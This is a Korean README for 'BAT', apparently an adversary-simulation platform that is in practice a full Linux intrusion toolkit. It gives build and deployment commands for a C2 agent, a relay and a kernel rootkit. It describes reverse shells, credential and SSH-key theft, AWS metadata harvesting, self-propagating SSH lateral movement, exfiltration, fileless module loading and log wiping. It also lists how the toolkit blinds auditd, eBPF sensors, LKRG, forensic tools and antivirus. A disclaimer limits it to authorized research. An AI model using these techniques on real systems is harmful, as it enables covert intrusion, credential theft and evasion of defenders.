
BAT는 Linux와 Windows를 위한 현실적이고 진화하는 적대자 위협 모델입니다. C2 프레임워크도 아니고 루트킷도 아닙니다. C2 통신, 커널 수준 은닉 루트킷 모듈, 사용자 공간 회피, 권한 상승, 지속성, 프로세스 인젝션, 자격 증명 수집, 외부 유출, 그리고 측면 이동을 하나의 응집된 적대자로 통합하는 완전한 위협 시뮬레이션 플랫폼입니다. 설계 목표는 현재 어떤 탐지 시스템이 탐지하는지와 무관하게 2026년에 달성 가능한 가장 정교하고 현실적인 Linux 위협이 되는 것입니다.
이는 연구 쌍에서 적대자 쪽에 해당합니다. Aura 프레임워크는 Bat을 탐지하도록 진화합니다. Bat은 Aura를 회피하도록 진화합니다. 적대자는 결코 탐지기에 의해 제약받지 않습니다.
apt install nasm gcc-x86_64-linux-gnu binutils-x86_64-linux-gnu golang-go go install mvdan.cc/garble@latest
### 2. 설정```bash
cp build.env.example build.env
nano build.env # RELAY_IP, SECRET, BAT_KEY, CDN_DOMAIN
시크릿 생성: openssl rand -hex 16
./build.sh # garble agent (x86_64+arm64) + server (arm64) + netshell ./build.sh agent # agent only ./build.sh server # server arm64 only (EC2 / Mac M-series) ./build.sh server-amd64 # server x86_64 only (PC Intel/AMD) ./build.sh netshell # netshell only
바이너리는 `bin/`에 생성됩니다.
### 4. 릴레이 부트스트랩```bash
# on the relay VPS (as root)
sudo bash -s -- --tg-token $TG_TOKEN --tg-chat-id $TG_CHAT_ID < relay/setup.sh
# from the operator machine
source build.env
relay/sync.sh ubuntu@$RELAY_IP --key $BAT_KEY --restart-kcc --tg
scp -i $BAT_KEY bin/netshell-v11-{x86_64,arm64} ubuntu@$RELAY_IP:/var/www/nexus/agents/
./bin/bat-server-v11-arm64 # tunnel starts automatically, no flags needed
대상에 에이전트를 배포하십시오:```bash
sudo setsid /path/to/bat-agent-v11-x86_64 </dev/null >/tmp/.log 2>&1 &
disown
에이전트는 하나의 비콘 간격(기본 30초) 내에 bat-server에 <agentID>@<hostname>으로 나타납니다.
커널 스텔스 계층(bat-stealth.ko, 소스는 kperf-qos/에 위치)은 고급 커널 루트킷 연구 프레임워크인 Singularity를 직접 기반으로 구축되었습니다. 4개의 핵심 모듈이 포팅되어 적용되었습니다:
bpf_hook: bpf(2) 및 모든 eBPF 통신 프리미티브를 가로챕니다. 숨겨진 PID에 대해 모든 eBPF 센서는 아무런 텔레메트리도 수신하지 못합니다. 적용 사항: ARCH_SYS("bpf")가 x86 전용 __x64_sys_bpf를 대체하며, ARM64용 __ia32_sys_bpf는 제거되었습니다. HIDDEN_PORT는 sysfs로 구성 가능한 전역 변수로 대체되었습니다.
hiding_fs: 완전한 파일시스템 은닉: getdents64/getdents 필터링, stat/statx/newfstatat nlink 조정, openat/access/faccessat /proc/<pid> 차단, chdir 및 readlink 차단. 5개의 Singularity 모듈(hiding_directory, hiding_stat, open, hiding_chdir, hiding_readlink)에서 통합되었습니다. 적용 사항: 매크로가 직접 레지스터 접근을 대체하며, 는 런타임 구성 가능한 를 위해 확장되었습니다.
hide_module: 모든 커널 모듈 목록에서 bat-stealth.ko를 제거합니다. 확장 사항: Singularity는 이미 list.prev를 저장합니다. 이 버전은 list.prev와 list.next를 모두 저장하고 둘 다 포이즈닝하여 양방향 순회를 차단합니다. module_unhide()가 추가되어 되돌릴 수 있는 제거가 가능합니다. K-99는 delete_module(2)이 이름으로 모듈을 찾을 수 있도록 이를 필요로 합니다.
lkrg_bypass: 숨겨진 프로세스에 대한 LKRG 강제 적용을 억제합니다: 숨겨진 태스크에 대한 SIGKILL을 차단하도록 시그널 전달을 후킹하고, LKRG 로그 메시지를 삭제하도록 vprintk_emit을 후킹하며, 에이전트 실행 중 UMH 검증을 비활성화합니다. 아키텍처 변경 없이 직접 포팅되었습니다.
다음 모듈은 독립적으로 개발되었습니다:
become_root: commit_creds(prepare_kernel_cred(NULL))를 호출하여 uid=0을 부여하는 시그널 59 후크 (K-03)selfdefense: LiME 메모리 수집을 차단하고, kallsyms 항목을 숨기며, 에이전트 심볼에 대한 kprobe를 차단하고, 열거 시도가 있으면 모듈을 다시 숨깁니다.audit: 숨겨진 PID에 대한 auditd 이벤트를 억제합니다.sysrq_hook: SysRq-T를 가로채 태스크 덤프에서 숨겨진 프로세스를 제외합니다.taskstats_hook: 숨겨진 PID에 대한 NETLINK taskstats 응답을 필터링합니다.reset_tainted + clear_taint_dmesg: /proc/sys/kernel/tainted를 0으로 설정하고 모듈 로드 증거가 포함된 dmesg 라인을 필터링합니다.hooks_write: 모든 커널 쓰기 경로(write/splice/sendfile/tee + io_uring_enter/enter2 + ia32 compat)를 가로채 syslog 또는 journald에 도달하기 전에 에이전트 문자열과 일치하는 로그 항목을 삭제합니다.pid_manager: 자식 프로세스 전반에 걸쳐 숨겨진 PID 집합을 유지하는 fork tracepoint입니다.전체 스택은 에이전트와 모든 아티팩트를 ps, top, ss, netstat, lsof, 숨겨진 경로의 파일시스템 탐색, lsmod, sysfs, kallsyms, auditd, 모든 eBPF 센서, LKRG, LiME 및 SysRq 포렌식으로부터 보이지 않게 만듭니다.
Target Relay (VPS) Operator (local)
bat-agent --HTTPS:443--> nginx:443 -> :8443 --tunnel--> bat-server:9443 --TCP:9443 --> sshd:9443 --tunnel--> --UDP/ICMP --> (trigger forwarded)
bat-agent --HTTPS:9444-> kcc-server:9444 (kernel compile)
| Component | 역할 |
|---|---|
| `bat-agent` | 에이전트. 비콘을 보내고 TTP를 실행합니다. Garble로 난독화됨. |
| `bat-server` | 운영자 콘솔. 대화형 CLI. 모든 에이전트를 관리합니다. |
| `netshell` | 전달 바이너리. 시스템 도구처럼 보이지만 완전한 에이전트입니다. |
| `bat-rootkit.so` | LD_PRELOAD 사용자 영역 루트킷. 파일, PID, 포트, 환경 변수를 숨깁니다. |
| `bat-stealth.ko` | 커널 은닉 계층 (Singularity 기반). |
| `kcc-server` | 릴레이 서비스. 대상의 실행 중인 커널에 맞춰 `bat-stealth.ko`를 온디맨드로 컴파일합니다. |
| `relay/` | 릴레이 인프라: nginx, TLS, 설정, 동기화, 전달 스크립트. |
---
## 우회된 방어
| 범주 | 방어 | 우회 메커니즘 |
|---|---|---|
| 프로세스 모니터링 | `ps` / `top` / `/proc` 목록 | `hiding_procs.c`: `getdents64` 훅이 사용자 공간이 읽기 전에 procfs에서 에이전트 PID 항목을 제거합니다 |
| 프로세스 모니터링 | `/proc/<pid>/status`, `/proc/<pid>/cmdline` | `hiding_procs.c`: `filldir` 훅이 모든 readdir 결과에서 PID 접두사를 필터링합니다 |
| 파일 시스템 | 에이전트 파일 및 디렉터리에 대한 `ls` / `find` | `hiding_fs.c`: 대상 경로에 대한 `getdents64`/`getdents` 훅; 일치하도록 stat nlink 조정 |
| 파일 시스템 | `lsattr` / `chattr` 탐지 | `hiding_fs.c`: 에이전트 파일 경로에 대한 `ioctl` 가로채기 |
| 파일 시스템 | `/proc/modules` / `lsmod` 목록 | `hiding_module.c`: 모든 sysfs 및 procfs 모듈 목록에서 `bat-stealth.ko` 항목 제거 |
| 네트워크 | `ss` / `netstat` 포트 목록 | `hiding_net.c`: `tcp4_seq_show`/`tcp6_seq_show` 훅이 출력에서 C2 포트 항목을 제거합니다 |
| 네트워크 | `/proc/net/tcp`, `/proc/net/tcp6` | `hiding_net.c`: seq_file 읽기 가로채기로 C2 소켓 행 삭제 |
| 로그 | `syslog` / `journald` 쓰기 경로 | `hooks_write.c`: `write`/`splice`/`sendfile`/`tee` 가로채기; 에이전트 문자열과 일치하는 로그 항목은 커널 내에서 폐기 |
| 로그 | `io_uring` 비동기 쓰기 경로 | `hooks_write.c`: `io_uring_enter`/`io_uring_enter2` 가로채기; ia32 호환 경로 포함 |
| 커널 보안 | `rkhunter` / `chkrootkit` | 모듈이 `/proc/modules`에서 숨겨짐; 에이전트 파일이 파일 시스템에서 숨겨짐; 경고 0건 검증됨 |
| 커널 보안 | ClamAV | Garble `-literals -tiny` 난독화 + 삽입된 평문 문자열 없음; 탐지 0건 검증됨 (DB 2026-04-20) |
| EDR / eBPF | `/proc`를 읽는 eBPF 기반 센서 | 은닉 훅이 eBPF 링 버퍼 이벤트가 생성되기 전에 커널 레벨에서 가로챕니다 |
| 커널 인트로스펙션 | 에이전트 심볼에 대한 `ftrace` / `kprobes` | `selfdefense` 모듈이 에이전트 함수 주소에 대한 kprobe 부착을 차단합니다 |
| 커널 포렌식 | LiME 메모리 획득 | `selfdefense`가 LiME 모듈 로드 및 원시 메모리 장치 접근을 차단합니다 |
| 커널 포렌식 | SysRq-T 태스크 덤프 | `sysrq_hook`가 SysRq-T가 기록하는 태스크 목록에서 숨겨진 프로세스를 제외합니다 |
| 커널 포렌식 | NETLINK taskstats | `taskstats_hook`가 숨겨진 PID에 대한 taskstats NETLINK 응답을 필터링합니다 |
| 커널 무결성 | LKRG 강제 적용 | `lkrg_bypass`가 LKRG `SIGKILL` 전달을 억제하고 LKRG 로그 메시지를 삭제합니다 |
| 감사 하위 시스템 | `auditd` 시스템 콜 기록 | `audit` 모듈이 커널 감사 계층에서 모든 숨겨진 PID의 감사 이벤트를 억제합니다 |
---
## 시스템 콜 훅
모든 훅은 로드 시점에 ftrace를 통해 `bat-stealth.ko`에 의해 설치됩니다. ia32 항목은 x86_64에서만 컴파일됩니다 (`#ifdef ARCH_SYS_IA32`).
| 시스템 콜 / 함수 | 모듈 | 용도 |
|---|---|---|
| `getdents64` | `hiding_procs.c` | `/proc` 디렉터리 목록에서 에이전트 PID 숨김 |
| `getdents` | `hiding_procs.c` | 32비트 호환: 에이전트 PID 숨김 |
| `filldir` (readdir) | `hiding_procs.c` | 레거시 readdir 호출자를 위한 보조 proc 항목 필터 |
| `getdents64` | `hiding_fs.c` | 디렉터리 목록에서 에이전트 파일 숨김 |
| `getdents` | `hiding_fs.c` | 32비트 호환: 에이전트 파일 숨김 |
| `ia32_getdents64` | `hiding_fs.c` | x86 호환 시스템 콜 |
| `ia32_getdents` | `hiding_fs.c` | x86 호환 시스템 콜 |
| `ia32_stat` / `ia32_lstat` / `ia32_fstat` | `hiding_fs.c` | 숨겨진 경로에 대한 32비트 stat 가로채기 |
| `ia32_open` / `ia32_openat` / `ia32_access` | `hiding_fs.c` | 32비트 open/access 가로채기 |
| `ia32_readlink` | `hiding_fs.c` | 32비트 readlink 가로채기 |
| `ia32_chdir` | `hiding_fs.c` | 32비트 chdir 가로채기 |
| `ioctl` | `hiding_fs.c` | 에이전트 경로에 대한 `lsattr`/`chattr` ioctl 가로채기 |
| `tcp4_seq_show` | `hiding_net.c` | `/proc/net/tcp`에서 C2 포트 항목 숨김 |
| `tcp6_seq_show` | `hiding_net.c` | `/proc/net/tcp6`에서 C2 포트 항목 숨김 |
| `bpf` | `bpf_hook.c` | 모든 eBPF 프로그램에서 숨겨진 PID에 대한 텔레메트리 차단 |
| `write` | `hooks_write.c` | syslog에 도달하기 전에 에이전트 문자열이 포함된 로그 항목 삭제 |
| `splice` | `hooks_write.c` | splice 경로를 통한 동일한 가로채기 |
| `sendfile` | `hooks_write.c` | sendfile 경로를 통한 동일한 가로채기 |
| `tee` | `hooks_write.c` | tee 경로를 통한 동일한 가로채기 |
| `io_uring_enter` | `hooks_write.c` | io_uring 비동기 쓰기 가로채기 |
| `io_uring_enter2` | `hooks_write.c` | io_uring 비동기 쓰기 가로채기 (v2 시스템 콜) |
| `sched_process_fork` (tracepoint) | `pid_manager.c` | `fork`/`clone` 전반에 걸쳐 은닉 상태 상속 |
| `vprintk_emit` | `lkrg_bypass.c` | LKRG 커널 로그 메시지 삭제 |
| `finit_module` / `init_module` | agent (kcc loader) | `memfd_create` + 익명 fd를 통한 파일리스 커널 모듈 로드 |
---
## TTP 참조
| TTP | 이름 | 설명 |
|---|---|---|
| 1 | masquerade | 프로세스 comm을 `kworker/0:1`로 변경 (또는 사용자 지정) |
| 2 | reverse_shell | relay:4445로 리버스 TCP 셸 |
| 3 | memory_rwx | 익명 RWX 메모리 할당 (탐지 프로브) |
| 4 | shell_exec | 임의의 셸 명령 실행 |
| 5 | beacon | 즉시 추가 체크인 강제 |
| 6 | persist | 지속성 설치 (cron / systemd / rc.local / openrc / profile / XDG autostart) |
| 7 | creddump | `/etc/shadow`, bash 히스토리, 환경 변수 비밀값, AWS IMDS 수집 |
| 9 | exec_chain | 프로세스 체인 생성 (탐지 프로브) |
| 10 | install_rootkit | `/etc/ld.so.preload`를 통해 `bat-rootkit.so` 배포 |
| 11 | inject + exit | 실행 중인 프로세스에 beacon + rawsock 스레드 주입 후 자체 종료 |
| 20 | network_recon | ARP 테이블 + 로컬 서브넷의 TCP :22 스캔 |
| 21 | ssh_harvest | 개인 키, known_hosts, authorized_keys, 설정 파일 수집 |
| 22 | lateral_move | SSH를 통해 발견된 호스트로 자신을 SCP 전송하고 분리 실행 |
| 23 | creddump_full | 확장 자격 증명 수집 + 환경 핑거프린트 |
| 30 | exfil-file | 임의의 파일을 읽고 beacon 채널을 통해 base64 청크 전송 |
| 31 | exfil-dir | 디렉터리를 tar+gzip으로 압축하고 beacon 채널을 통해 유출 |
| 32 | exfil-auto | 구성된 경로를 감시하고 변경 시 자동 유출 |
| 34 | netmap | /16 CIDR에서 활성 호스트 및 열린 포트 스캔 |
| 35 | autospread | 수집된 키를 사용하여 발견된 호스트로 SSH 측면 이동; 에이전트를 복사하고 분리 실행 |
| 36 | smbprobe | 측면 이동 후보를 위한 SMB 포트 프로브 (:445) |
| 99 | kill | 은밀한 자체 종료 |
| 222 | destruct | 모든 아티팩트 제거, 메모리 초기화, 종료 |
| 1003 | K-03 (privesc) | 커널 시그널 59가 `commit_creds`를 트리거하여 uid=0으로 권한 상승 |
| 1099 | K-99 (unload) | sysfs + 원시 `delete_module(2)`를 통한 2단계 `bat-stealth.ko` 언로드 |
콘솔 명령 (`bat-server` 프롬프트에서):
- `kill`: 모든 에이전트에 TTP 99
- `destruct`: 모든 에이전트에 TTP 222
- `destruct @<agentID>`: 대상 지정 초기화
---
### KCC: 커널 컴파일 캐시
`bat-stealth.ko`는 대상의 실행 중인 커널에 맞춰 온디맨드로 컴파일됩니다. 에이전트는 런타임에 전체 흐름을 자동화하므로 대상별로 사전 빌드된 모듈이 필요하지 않습니다:
1. **커널 탐지**: 에이전트가 `/proc/version`을 읽어 정확한 `uname -r` 문자열을 획득합니다.
2. **컴파일 요청**: 에이전트가 HMAC 서명된 요청으로 커널 문자열을 `kcc-server` (`:9444`)로 POST합니다.
3. **kcc-server 컴파일**: 서버가 일치하는 커널 헤더를 기준으로 `bat-stealth.ko`를 빌드하고 커널 해시별로 결과를 캐시합니다.
4. **모듈 바이트 수신**: 컴파일된 `.ko`가 응답 본문으로 반환됩니다.
5. **파일리스 로드**: 에이전트가 익명 메모리 파일 (`memfd_create`, x86_64에서는 시스템 콜 279 / ARM64에서는 319)을 생성하고 모듈 바이트를 기록한 다음 빈 파라미터 문자열로 `finit_module` (시스템 콜 273 / 313)을 호출합니다.
6. **등록**: 모듈이 모든 훅을 등록하고 수 밀리초 내에 sysfs/procfs에서 자신을 숨깁니다.
어떤 시점에도 `.ko` 파일이 디스크에 기록되지 않습니다. 모듈은 로드 직후 `/proc/modules`에서 즉시 사라집니다.
**최소 커널:** 6.x (K-00 프로브; 에이전트는 이전 커널에서 은닉 로드를 건너뜁니다).
**테스트 완료:** 6.1.0 (Debian 12 / Ubuntu LTS), 6.8.0 (Ubuntu 22.04 GCP).
---
## 빌드 프로파일```bash
make lab SECRET=<hex> # direct: agent -> relay:9443, UDP trigger
make cdn SECRET=<hex> # CDN: agent -> edge proxy -> relay:443
make singularity SECRET=<hex> # ICMP trigger only, no UDP port exposure
모든 프로필에는 SECRET=이 필요합니다. 중계 IP는 RELAY=<ip>로 재정의합니다.
SHA-256(secret)으로 서명되며, 서버 측에서 재생 공격을 거부합니다.-literals 암호화 가블링. -X ldflags는 의도적으로 회피 (ldflag 값이 바이너리에서 평문으로 나타남).bat-server에 내장된 SSH 역방향 터널을 통해 아웃바운드로 흐릅니다.relay/static/은 릴레이의 공개 얼굴입니다. 배포판에는 빈 플레이스홀더가 포함되어 있습니다. sync.sh를 실행하기 전에 index.html과 지원 페이지를 커버 신원으로 교체하세요. 전달 스크립트(static/i, static/api/setup, static/api/v1/index.json)는 __CDN_DOMAIN__을 플레이스홀더로 사용합니다. build.env에서 CDN_DOMAIN=을 설정하면 sync.sh가 자동으로 대체합니다. 첫 nginx 배포 전에 relay/nginx/bat.conf의 server_name에 실제 도메인과 TLS 인증서 경로를 업데이트하세요.
CDN 프로필은 에이전트 트래픽을 에지 프록시 계층을 통해 라우팅합니다. 에이전트는 HTTPS를 통해 CDN 도메인에 연결하고, 프록시는 SSH 역방향 터널을 통해 릴레이의 로컬 리스너로 트래픽을 전달합니다. 네트워크 관점에서 모든 에이전트 트래픽은 릴레이 VPS 대신 CDN 에지 IP 범위에서 발생합니다.
---
대상이 CDN 엔드포인트에서 에이전트 바이너리를 가져오면 구성된 Telegram 채널에 즉시 전달 알림이 발송됩니다. 알림에는 소스 IP, 타임스탬프, 요청 경로, 감지된 아키텍처(x86_64/arm64), 파일 크기, User-Agent 문자열, CDN 에지 식별자가 포함됩니다.
delivery-alert.service 데몬은 nginx 액세스 로그를 추적하여 허니 다운로드 경로에 대한 모든 조회에 대해 실행됩니다. 릴레이 부트스트랩 중에 구성하세요:```bash
sudo bash -s -- --tg-token <BOT_TOKEN> --tg-chat-id <CHAT_ID> < relay/setup.sh
자격 증명은 릴레이의 `/etc/bat/tg.env`에 기록되며 `sync.sh --tg`를 통해 모든 동기화 대상에 전파됩니다. 서비스는 자동으로 시작되며 릴레이 재시작 후에도 유지됩니다.
---
## 면책 조항
이 소프트웨어는 승인된 보안 연구, 통제된 랩 환경에서의 적대자 시뮬레이션, 그리고 탐지 및 대응 역량 개발을 위해서만 제작되었습니다. 여기에는 커널 수준 루트킷, 프로세스 인젝션, 자격 증명 수집, 측면 이동을 포함한 공격적 기법의 기능적 구현이 포함되어 있습니다. 시스템 소유자의 명시적인 서면 승인 없이 시스템에 배포하는 것은 대부분의 관할권에서 적용되는 컴퓨터 사기 및 남용 관련 법률에 따라 불법입니다.
저자는 이 소프트웨어의 무단, 과실, 또는 악의적 사용으로 인해 발생하는 모든 손해, 법적 결과 또는 피해에 대해 책임을 지지 않습니다. 이 소프트웨어를 사용함으로써 귀하는 합법적이고 승인된 범위 내에서 활동하는 자격을 갖춘 보안 전문가이며, 그 사용에 대한 모든 법적 및 윤리적 책임이 전적으로 귀하에게 있음을 확인하게 됩니다.
이 소프트웨어는 사전 서면 동의 없이 제3자에게 재배포, 게시 또는 공개되어서는 안 됩니다.
REGS_ARGnshould_hide_path()bat_hidden_paths[]| ATT&CK ID | 기법 | Bat 구현 |
|---|
| T1036.005 | Masquerading: Match Legitimate Name | TTP 1: prctl(PR_SET_NAME)을 kworker/0:1로 설정 |
| T1055 | Process Injection | TTP 11: 실행 중인 프로세스에 shellcode + rawsock 스레드 주입 |
| T1205.001 | Traffic Signaling (Magic Packet) | UDP/ICMP 트리거가 휴면 상태의 에이전트를 깨웁니다. |
| T1071.001 | Web Protocols C2 | :443 또는 :9443을 통한 HTTPS 비콘 |
| T1573.001 | Encrypted Channel: Symmetric | TLS를 통한 HMAC-SHA256 인증 비콘 |
| T1090.004 | Proxy: Domain Fronting | CDN 프로필이 에이전트 트래픽을 엣지 프록시 계층을 통해 라우팅합니다. |
| T1574.006 | Hijack Execution: LD_PRELOAD | TTP 10: /etc/ld.so.preload를 통한 bat-rootkit.so |
| T1014 | Rootkit | bat-stealth.ko: PID, 포트, 파일, 모듈, 자신을 숨깁니다. |
| T1562.001 | Impair Defenses: Disable Tools | bpf_hook이 eBPF 센서를 블라인드 처리하고, lkrg_bypass는 LKRG를 비활성화합니다. |
| T1562.012 | Impair Defenses: Disable Linux Audit | audit 모듈이 숨겨진 PID에 대한 auditd 이벤트를 억제합니다. |
| T1068 | Privilege Escalation via Exploitation | K-03: 시그널 59가 commit_creds를 트리거하여 uid=0으로 전환 |
| T1543.002 | Create/Modify System Process: Systemd | TTP 6: systemd 유닛 지속성 |
| T1053.003 | Scheduled Task: Cron | TTP 6: crontab 지속성 |
| T1070.002 | Clear Linux Logs | clear_taint_dmesg가 dmesg를 필터링하고, reset_tainted는 taint 플래그를 0으로 설정하며, hooks_write는 커널 내에서 로그 항목을 삭제합니다. |
| T1070.004 | Indicator Removal: File Deletion | TTP 222 자체 파괴: 전체 아티팩트 삭제 |
| T1003 | Credential Dumping | TTP 7/23: /etc/shadow, 셸 기록, 환경 변수 비밀값 |
| T1552.004 | Unsecured Credentials: Private Keys | TTP 21: SSH 키, known_hosts, 설정 파일 |
| T1552.005 | Cloud Instance Metadata | TTP 23: AWS IMDS 자격 증명 수집 |
| T1018 | Remote System Discovery | TTP 20/34: ARP 열거 + /16 CIDR 스캔 |
| T1046 | Network Service Scanning | TTP 20/34: 발견된 호스트에 대한 TCP 포트 스캔 |
| T1021.004 | Lateral Movement via SSH | TTP 22/35: 발견된 호스트로 SCP 자가 복제 후 분리 실행 |
| T1078 | Valid Accounts | TTP 22/35: 측면 이동 시 수집된 SSH 키 사용 |
| T1048 | Exfiltration Over Alternative Protocol | TTP 30/31/32: 비콘 채널을 통한 파일 및 디렉터리 유출 |
| T1059.004 | Unix Shell Execution | TTP 4: 임의 명령 실행 |
| T1027 | Obfuscated Files or Information | garble -literals -tiny -seed=random; XOR(0x5A) 설정 인코딩 |
| T1620 | Reflective Code Loading | TTP 11: 대상 프로세스 주소 공간에서 실행되는 shellcode, memfd_create를 통해 로드되는 bat-stealth.ko |